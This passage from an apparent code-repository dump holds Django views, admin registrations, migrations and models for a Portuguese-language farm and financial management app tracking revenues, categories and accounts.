request.GET.get('data_final')\n\n if not final:\n final = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '%02d' % monthrange(datetime.datetime.today().year, datetime.datetime.today().month)[1]\n )\n else:\n final = final[6:10] + '-' + final[3:5] + '-' + final[0:2]\n\n receitas = Receita.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa)\n pendentes = Receita.objects.filter(situacao=False, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n efetivadas = Receita.objects.filter(situacao=True, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n total = Receita.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n\n categorias = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n data_inicial = inicio[8:10] + '/' + inicio[5:7] + '/' + inicio[0:4]\n data_final = final[8:10] + '/' + final[5:7] + '/' + final[0:4]\n\n context = {\n 'receitas': receitas,\n 'pendentes': pendentes,\n 'efetivadas': efetivadas,\n 'total': total,\n 'categorias': json.dumps(list(categorias), cls=DecimalEncoder),\n 'subcategorias': json.dumps(list(subcategorias), cls=DecimalEncoder),\n 'color': 'success-color-dark',\n 'data_inicial': data_inicial,\n 'data_final': data_final,\n 'tipo': 'Receita'\n }\n\n return render(request, 'financeiro/receita.html', context)\n\n\n@login_required\n@group_required('Financeiro')\ndef adicionar_receita(request):\n acao = '/financeiro/receita/adicionar'\n\n form = ReceitaForm(user=request.user, data=request.POST or None)\n return salvar_receita(request, form, 'includes/create.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef editar_receita(request, receita_pk):\n receita = get_object_or_404(Receita, pk=receita_pk)\n acao = '/financeiro/receita/editar/%s' % receita.id\n\n form = ReceitaForm(instance=receita, user=request.user, data=request.POST or None)\n return salvar_receita(request, form, 'includes/update.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef excluir_receita(request, receita_pk):\n receita = get_object_or_404(Receita, pk=receita_pk)\n registro = receita\n acao = '/financeiro/receita/excluir/%s' % receita.id\n tipo = 'Receita'\n data = dict()\n inicio = request.GET.get('data_inicial')\n final = request.GET.get('data_final')\n\n if request.method == 'POST':\n receita.delete()\n data['form_is_valid'] = True\n\n inicio = request.POST['inicio']\n if not inicio:\n inicio = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '01'\n )\n else:\n inicio = inicio[6:10] + '-' + inicio[3:5] + '-' + inicio[0:2]\n\n final = request.POST['final']\n\n if not final:\n final = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '%02d' % monthrange(datetime.datetime.today().year, datetime.datetime.today().month)[1]\n )\n else:\n final = final[6:10] + '-' + final[3:5] + '-' + final[0:2]\n\n receitas = Receita.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa)\n pendentes = Receita.objects.filter(situacao=False, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n efetivadas = Receita.objects.filter(situacao=True, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n total = Receita.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n\n categorias = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n inicio = inicio[8:10] + '/' + inicio[5:7] + '/' + inicio[0:4]\n final = final[8:10] + '/' + final[5:7] + '/' + final[0:4]\n\n data['html_list'] = render_to_string('includes/receita_list.html', {\n 'receitas': receitas,\n 'data_inicial': inicio,\n 'data_final': final\n })\n data['html_resumo'] = render_to_string('includes/resumo.html', {\n 'pendentes': pendentes,\n 'efetivadas': efetivadas,\n 'total': total,\n 'color': 'success-color-dark'\n })\n data['html_categorias'] = render_to_string('includes/categorias.html', {\n 'categorias': json.dumps(list(categorias), cls=DecimalEncoder),\n 'subcategorias': json.dumps(list(subcategorias), cls=DecimalEncoder),\n })\n data['html_periodo'] = render_to_string('includes/periodo.html', {\n 'data_inicial': inicio,\n 'data_final': final,\n 'tipo': tipo\n })\n else:\n context = {\n 'receita': receita,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef alterar_situacao_receita(request, receita_pk):\n receita = get_object_or_404(Receita, pk=receita_pk)\n registro = receita\n acao = '/financeiro/receita/situacao/%s' % receita.id\n tipo = 'Receita'\n data = dict()\n inicio = request.GET.get('data_inicial')\n final = request.GET.get('data_final')\n\n if request.method == 'POST':\n from datetime import date\n if receita.data <= date.today():\n if receita.situacao == 0:\n receita.situacao = 1\n elif receita.situacao == 1:\n receita.situacao = 0\n\n receita.save()\n data['form_is_valid'] = True\n\n inicio = request.POST['inicio']\n if not inicio:\n inicio = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '01'\n )\n else:\n inicio = inicio[6:10] + '-' + inicio[3:5] + '-' + inicio[0:2]\n\n final = request.POST['final']\n\n if not final:\n final = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '%02d' % monthrange(datetime.datetime.today().year, datetime.datetime.today().month)[1]\n )\n else:\n final = final[6:10] + '-' + final[3:5] + '-' + final[0:2]\n\n receitas = Receita.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa)\n pendentes = Receita.objects.filter(situacao=False, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n efetivadas = Receita.objects.filter(situacao=True, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n total = Receita.objects.filter(data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n\n categorias = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n inicio = inicio[8:10] + '/' + inicio[5:7] + '/' + inicio[0:4]\n final = final[8:10] + '/' + final[5:7] + '/' + final[0:4]\n\n data['html_list'] = render_to_string('includes/receita_list.html', {\n 'receitas': receitas,\n 'data_inicial': inicio,\n 'data_final': final\n })\n data['html_resumo'] = render_to_string('includes/resumo.html', {\n 'pendentes': pendentes,\n 'efetivadas': efetivadas,\n 'total': total,\n 'color': 'success-color-dark'\n })\n data['html_categorias'] = render_to_string('includes/categorias.html', {\n 'categorias': json.dumps(list(categorias), cls=DecimalEncoder),\n 'subcategorias': json.dumps(list(subcategorias), cls=DecimalEncoder),\n })\n data['html_periodo'] = render_to_string('includes/periodo.html', {\n 'data_inicial': inicio,\n 'data_final': final,\n 'tipo': tipo\n })\n else:\n data['form_is_valid'] = False\n erro = 'Não é possível efetivar uma receita futura.'\n\n context = {\n 'receita': receita,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final,\n 'erro': erro\n }\n data['html_form'] = render_to_string('includes/situacao.html', context, request=request)\n else:\n context = {\n 'receita': receita,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final,\n }\n data['html_form'] = render_to_string('includes/situacao.html', context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef salvar_receita(request, form, template_name, acao):\n from datetime import date\n\n tipo = 'Receita'\n data = dict()\n\n inicio = request.GET.get('data_inicial')\n final = request.GET.get('data_final')\n lista_categorias = Categoria.objects.filter(empresa=request.user.userprofile.empresa, tipo=Categoria.CREDITO)\n\n if request.method == 'POST':\n if form.is_valid() and (((form.instance.data <= date.today()) and ('situacao' in request.POST)) or not (\n 'situacao' in request.POST)):\n if 'situacao' in request.POST:\n form.instance.situacao = 1\n else:\n form.instance.situacao = 0\n\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n data['form_is_valid'] = True\n\n inicio = request.POST['inicio']\n if not inicio:\n inicio = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '01'\n )\n else:\n inicio = inicio[6:10] + '-' + inicio[3:5] + '-' + inicio[0:2]\n\n final = request.POST['final']\n\n if not final:\n final = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '%02d' % monthrange(datetime.datetime.today().year, datetime.datetime.today().month)[1]\n )\n else:\n final = final[6:10] + '-' + final[3:5] + '-' + final[0:2]\n\n receitas = Receita.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa)\n pendentes = Receita.objects.filter(situacao=False, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n efetivadas = Receita.objects.filter(situacao=True, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n total = Receita.objects.filter(data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n\n categorias = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n inicio = inicio[8:10] + '/' + inicio[5:7] + '/' + inicio[0:4]\n final = final[8:10] + '/' + final[5:7] + '/' + final[0:4]\n\n data['html_list'] = render_to_string('includes/receita_list.html', {\n 'receitas': receitas,\n 'data_inicial': inicio,\n 'data_final': final\n })\n data['html_resumo'] = render_to_string('includes/resumo.html', {\n 'pendentes': pendentes,\n 'efetivadas': efetivadas,\n 'total': total,\n 'color': 'success-color-dark'\n })\n data['html_categorias'] = render_to_string('includes/categorias.html', {\n 'categorias': json.dumps(list(categorias), cls=DecimalEncoder),\n 'subcategorias': json.dumps(list(subcategorias), cls=DecimalEncoder),\n })\n data['html_periodo'] = render_to_string('includes/periodo.html', {\n 'data_inicial': inicio,\n 'data_final': final,\n 'tipo': tipo\n })\n else:\n data['form_is_valid'] = False\n erro = 'Não é possível efetivar uma receita futura.'\n\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final,\n 'erro': erro,\n 'lista_categorias': lista_categorias\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final,\n 'lista_categorias': lista_categorias\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef categoria(request):\n categorias_credito = Categoria.objects.filter(tipo=Categoria.CREDITO, empresa=request.user.userprofile.empresa)\n categorias_debito = Categoria.objects.filter(tipo=Categoria.DEBITO, empresa=request.user.userprofile.empresa)\n\n context = {\n 'categorias_credito': categorias_credito,\n 'categorias_debito': categorias_debito,\n }\n\n return render(request, 'financeiro/categoria.html', context)\n\n\n@login_required\n@group_required('Financeiro')\ndef adicionar_categoria(request):\n acao = '/financeiro/cadastro/categoria/adicionar'\n\n if request.method == 'POST':\n form = CategoriaForm(request.POST)\n else:\n form = CategoriaForm()\n return salvar_categoria(request, form, 'includes/create.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef editar_categoria(request, categoria_pk):\n categoria = get_object_or_404(Categoria, pk=categoria_pk)\n acao = '/financeiro/cadastro/categoria/editar/%s' % categoria.id\n\n if request.method == 'POST':\n form = CategoriaForm(request.POST, instance=categoria)\n else:\n form = CategoriaForm(instance=categoria)\n return salvar_categoria(request, form, 'includes/update.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef excluir_categoria(request, categoria_pk):\n categoria = get_object_or_404(Categoria, pk=categoria_pk)\n registro = categoria\n acao = '/financeiro/cadastro/categoria/excluir/%s' % categoria.id\n tipo = 'Categoria'\n data = dict()\n\n if request.method == 'POST':\n categoria.delete()\n data['form_is_valid'] = True\n data['reload'] = True\n\n categorias_credito = Categoria.objects.filter(tipo=Categoria.CREDITO, empresa=request.user.userprofile.empresa)\n categorias_debito = Categoria.objects.filter(tipo=Categoria.DEBITO, empresa=request.user.userprofile.empresa)\n\n data['html_credito_list'] = render_to_string('includes/categoria_credito_list.html', {\n 'categorias_credito': categorias_credito,\n })\n data['html_debito_list'] = render_to_string('includes/categoria_debito_list.html', {\n 'categorias_debito': categorias_debito,\n })\n else:\n context = {\n 'categoria': categoria,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef salvar_categoria(request, form, template_name, acao):\n tipo = 'Categoria'\n data = dict()\n\n if request.method == 'POST':\n if form.is_valid():\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n\n data['form_is_valid'] = True\n data['reload'] = True\n\n categorias_credito = Categoria.objects.filter(tipo=Categoria.CREDITO,\n empresa=request.user.userprofile.empresa)\n categorias_debito = Categoria.objects.filter(tipo=Categoria.DEBITO,\n empresa=request.user.userprofile.empresa)\n\n data['html_credito_list'] = render_to_string('includes/categoria_credito_list.html', {\n 'categorias_credito': categorias_credito,\n })\n data['html_debito_list'] = render_to_string('includes/categoria_debito_list.html', {\n 'categorias_debito': categorias_debito,\n })\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef conta(request):\n contas = Conta.objects.filter(empresa=request.user.userprofile.empresa)\n\n context = {\n 'contas': contas\n }\n\n return render(request, 'financeiro/conta.html', context)\n\n\n@login_required\n@group_required('Financeiro')\ndef adicionar_conta(request):\n acao = '/financeiro/cadastro/conta/adicionar'\n\n if request.method == 'POST':\n form = ContaForm(request.POST)\n else:\n form = ContaForm()\n return salvar_conta(request, form, 'includes/create.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef editar_conta(request, conta_pk):\n conta = get_object_or_404(Conta, pk=conta_pk)\n acao = '/financeiro/cadastro/conta/editar/%s' % conta.id\n\n if request.method == 'POST':\n form = ContaForm(request.POST, instance=conta)\n else:\n form = ContaForm(instance=conta)\n return salvar_conta(request, form, 'includes/update.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef excluir_conta(request, conta_pk):\n conta = get_object_or_404(Conta, pk=conta_pk)\n registro = conta\n acao = '/financeiro/cadastro/conta/excluir/%s' % conta.id\n tipo = 'Conta'\n data = dict()\n\n if request.method == 'POST':\n conta.delete()\n data['form_is_valid'] = True\n\n contas = Conta.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/conta_list.html', {\n 'contas': contas,\n })\n else:\n context = {\n 'conta': conta,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef salvar_conta(request, form, template_name, acao):\n tipo = 'Conta'\n data = dict()\n\n if request.method == 'POST':\n if form.is_valid():\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n\n data['form_is_valid'] = True\n\n contas = Conta.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/conta_list.html', {\n 'contas': contas,\n })\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef adicionar_subcategoria(request, categoria_pk):\n acao = '/financeiro/cadastro/subcategoria/adicionar/%s' % categoria_pk\n\n form = SubCategoriaForm(categoria_pk=categoria_pk, data=request.POST or None)\n\n return salvar_subcategoria(request, form, 'includes/create.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef editar_subcategoria(request, pk):\n subcategoria = get_object_or_404(SubCategoria, pk=pk)\n acao = '/financeiro/cadastro/subcategoria/editar/%s' % pk\n categoria = subcategoria.categoria\n\n form = SubCategoriaForm(categoria, instance=subcategoria, data=request.POST or None)\n\n return salvar_subcategoria(request, form, 'includes/update.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef excluir_subcategoria(request, pk):\n registro = get_object_or_404(SubCategoria, pk=pk)\n acao = '/financeiro/cadastro/subcategoria/excluir/%s' % pk\n tipo = 'Subcategoria'\n data = dict()\n\n if request.method == 'POST':\n registro.delete()\n data['form_is_valid'] = True\n data['reload'] = True\n\n categorias_credito = Categoria.objects.filter(tipo=Categoria.CREDITO,\n empresa=request.user.userprofile.empresa)\n categorias_debito = Categoria.objects.filter(tipo=Categoria.DEBITO,\n empresa=request.user.userprofile.empresa)\n\n data['html_credito_list'] = render_to_string('includes/categoria_credito_list.html', {\n 'categorias_credito': categorias_credito,\n })\n data['html_debito_list'] = render_to_string('includes/categoria_debito_list.html', {\n 'categorias_debito': categorias_debito,\n })\n else:\n context = {\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef salvar_subcategoria(request, form, template_name, acao):\n tipo = 'Subcategoria'\n data = dict()\n\n if request.method == 'POST':\n if form.is_valid():\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n\n data['form_is_valid'] = True\n data['reload'] = True\n\n categorias_credito = Categoria.objects.filter(tipo=Categoria.CREDITO,\n empresa=request.user.userprofile.empresa)\n categorias_debito = Categoria.objects.filter(tipo=Categoria.DEBITO,\n empresa=request.user.userprofile.empresa)\n\n data['html_credito_list'] = render_to_string('includes/categoria_credito_list.html', {\n 'categorias_credito': categorias_credito,\n })\n data['html_debito_list'] = render_to_string('includes/categoria_debito_list.html', {\n 'categorias_debito': categorias_debito,\n })\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n"
},
{
"alpha_fraction": 0.667560338973999,
"alphanum_fraction": 0.667560338973999,
"avg_line_length": 22.3125,
"blob_id": "b20adcec0dee0e3a6b64192a8741ccbec9f06ded",
"content_id": "499e966dfe72250eb0be15b557cfa8ff630092a2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 746,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 32,
"path": "/rebanho/admin.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\n\n# Register your models here.\nfrom import_export.admin import ImportExportModelAdmin\n\nfrom rebanho.models import Animal, Lote, Configuracao\n\n\[email protected](Configuracao)\nclass ConfiguracaoAdmin(ImportExportModelAdmin):\n pass\n\[email protected](Animal)\nclass AnimalAdmin(ImportExportModelAdmin):\n list_display = (\n 'id',\n 'sexo',\n 'padrao_racial',\n 'atividade',\n 'data_nascimento',\n 'lote',\n 'vivo'\n )\n list_filter = ('vivo', 'empresa',)\n search_fields = ('descricao',)\n\n\[email protected](Lote)\nclass LoteAdmin(ImportExportModelAdmin):\n list_display = ('descricao', 'data_criacao')\n list_filter = ('empresa',)\n search_fields = ('descricao',)\n"
},
{
"alpha_fraction": 0.6106478571891785,
"alphanum_fraction": 0.6234765648841858,
"avg_line_length": 38.97435760498047,
"blob_id": "1976f4532776e1130b310ce6af9a09a2141cd448",
"content_id": "cb8d8f3192d1566f5f1cc95054641e4fd03fcbef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1559,
"license_type": "no_license",
"max_line_length": 152,
"num_lines": 39,
"path": "/financeiro/migrations/0004_auto_20200617_1436.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 18:36\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('financeiro', '0003_delete_fornecedor'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='categoria',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n migrations.AlterField(\n model_name='conta',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n migrations.AlterField(\n model_name='despesa',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n migrations.AlterField(\n model_name='receita',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n migrations.AlterField(\n model_name='subcategoria',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.598349392414093,
"alphanum_fraction": 0.6258596777915955,
"avg_line_length": 29.29166603088379,
"blob_id": "c799f321a6f393c1f58624cf6149e319776b4bc9",
"content_id": "d9d6931a970b72a5e4db67e391b103591ee7f303",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 727,
"license_type": "no_license",
"max_line_length": 126,
"num_lines": 24,
"path": "/financeiro/migrations/0002_auto_20200617_1141.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 15:41\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('financeiro', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='despesa',\n name='fornecedor',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='portal.Terceiro'),\n ),\n migrations.AlterField(\n model_name='receita',\n name='fornecedor',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='portal.Terceiro'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.5825011730194092,
"alphanum_fraction": 0.6000950932502747,
"avg_line_length": 42.8125,
"blob_id": "afb7a35c60b7fd25355ef00240e040e3b8234f5d",
"content_id": "44158a5402c9f47b54fa9b3dbfc77c6b30dc9f10",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2109,
"license_type": "no_license",
"max_line_length": 316,
"num_lines": 48,
"path": "/portal/migrations/0007_auto_20200617_1436.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 18:36\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.db.models.functions.text\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('portal', '0006_produto'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='empresa',\n options={'ordering': ['nome_fantasia'], 'verbose_name': 'Empresa', 'verbose_name_plural': 'Empresa'},\n ),\n migrations.AlterModelOptions(\n name='produto',\n options={'ordering': [django.db.models.functions.text.Lower('descricao')], 'verbose_name': 'Produto', 'verbose_name_plural': 'Produtos'},\n ),\n migrations.AlterField(\n model_name='frota',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n migrations.AlterField(\n model_name='produto',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n migrations.AlterField(\n model_name='produto',\n name='unidade_medida',\n field=models.IntegerField(choices=[[1, 'Arroba'], [2, 'Centímetro'], [3, 'Centímetro Cúbico'], [4, 'Centímetro Quadrado'], [5, 'Grama'], [6, 'Litro'], [7, 'Metro'], [8, 'Metro Cúbico'], [9, 'Mililitro'], [10, 'Quilograma'], [11, 'Quilômetro'], [12, 'Tonelada'], [13, 'Unidade']], verbose_name='Unidade'),\n ),\n migrations.AlterField(\n model_name='produto',\n name='usado_pasto',\n field=models.BooleanField(default=False, verbose_name='Usado no Pasto'),\n ),\n migrations.AlterField(\n model_name='terceiro',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6616775989532471,
"alphanum_fraction": 0.6702525615692139,
"avg_line_length": 35.23728942871094,
"blob_id": "9a3c126bfbf787c8cd0f51d68267ee071847372e",
"content_id": "e3e447efd172e0c3314c0a6e24ffcbf69190ecec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6433,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 177,
"path": "/financeiro/models.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from decimal import Decimal\n\nfrom django.contrib.auth.models import User\nfrom django.core.validators import MinValueValidator\nfrom django.db import models\n\n# Create your models here.\nfrom django.db.models import Sum\nfrom django.db.models.functions import Lower\n\nfrom portal.models import AuditoriaMixin, Frota, Terceiro\n\n\nclass Situacao(models.Model):\n PENDENTE = 0\n EFETIVADA = 1\n\n SITUACAO_CHOICES = [\n [PENDENTE, 'Pendente'],\n [EFETIVADA, 'Efetivada'],\n ]\n\n\nclass FormaPagamento(models.Model):\n BOLETO = 0\n CHEQUE = 1\n DINHEIRO = 2\n TRANSFERENCIA = 3\n\n FORMA_PAGAMENTO_CHOICES = [\n [BOLETO, 'Boleto'],\n [CHEQUE, 'Cheque'],\n [DINHEIRO, 'Dinheiro'],\n [TRANSFERENCIA, 'Transferência'],\n ]\n\n\nclass Categoria(AuditoriaMixin):\n CREDITO = 1\n DEBITO = 2\n\n TIPO_CHOICES = [\n [CREDITO, 'Crédito'],\n [DEBITO, 'Débito']\n ]\n\n descricao = models.CharField(verbose_name='Descrição', max_length=255)\n tipo = models.IntegerField(choices=TIPO_CHOICES)\n\n def __str__(self):\n return self.descricao\n\n class Meta:\n ordering = [Lower('descricao'), ]\n verbose_name = 'Categoria'\n verbose_name_plural = 'Categorias'\n\n @property\n def get_subcategorias(self):\n return self.subcategoria_set.all()\n\n\nclass SubCategoria(AuditoriaMixin):\n descricao = models.CharField(verbose_name='Descrição', max_length=255)\n categoria = models.ForeignKey(Categoria, on_delete=models.CASCADE, blank=True, null=True)\n icone = models.CharField(verbose_name='Ícone', max_length=50, blank=True, null=True)\n cor = models.CharField(max_length=50, blank=True, null=True)\n\n def __str__(self):\n return self.descricao\n\n class Meta:\n ordering = [Lower('descricao'), ]\n verbose_name = 'Subcategoria'\n verbose_name_plural = 'Subcategorias'\n\n\nclass Conta(AuditoriaMixin):\n CORRENTE = 1\n POUPANCA = 2\n INVESTIMENTO = 3\n OUTROS = 4\n\n TIPO_CHOICES = [\n [CORRENTE, 'Conta Corrente'],\n [INVESTIMENTO, ' Investimento'],\n [POUPANCA, 'Poupança'],\n [OUTROS, 'Outros']\n ]\n\n descricao = models.CharField(verbose_name='Descrição', max_length=150)\n tipo = models.IntegerField(choices=TIPO_CHOICES, default=1)\n saldo_inicial = models.DecimalField(verbose_name='Saldo inicial', default=0, decimal_places=2, max_digits=20)\n\n def __str__(self):\n return self.descricao\n\n class Meta:\n ordering = [Lower('descricao'), ]\n verbose_name = 'Conta'\n verbose_name_plural = 'Contas'\n\n @property\n def get_saldo(self):\n from datetime import datetime\n receita = self.receita_set.filter(situacao=Situacao.EFETIVADA, data__lte=datetime.today()).aggregate(\n 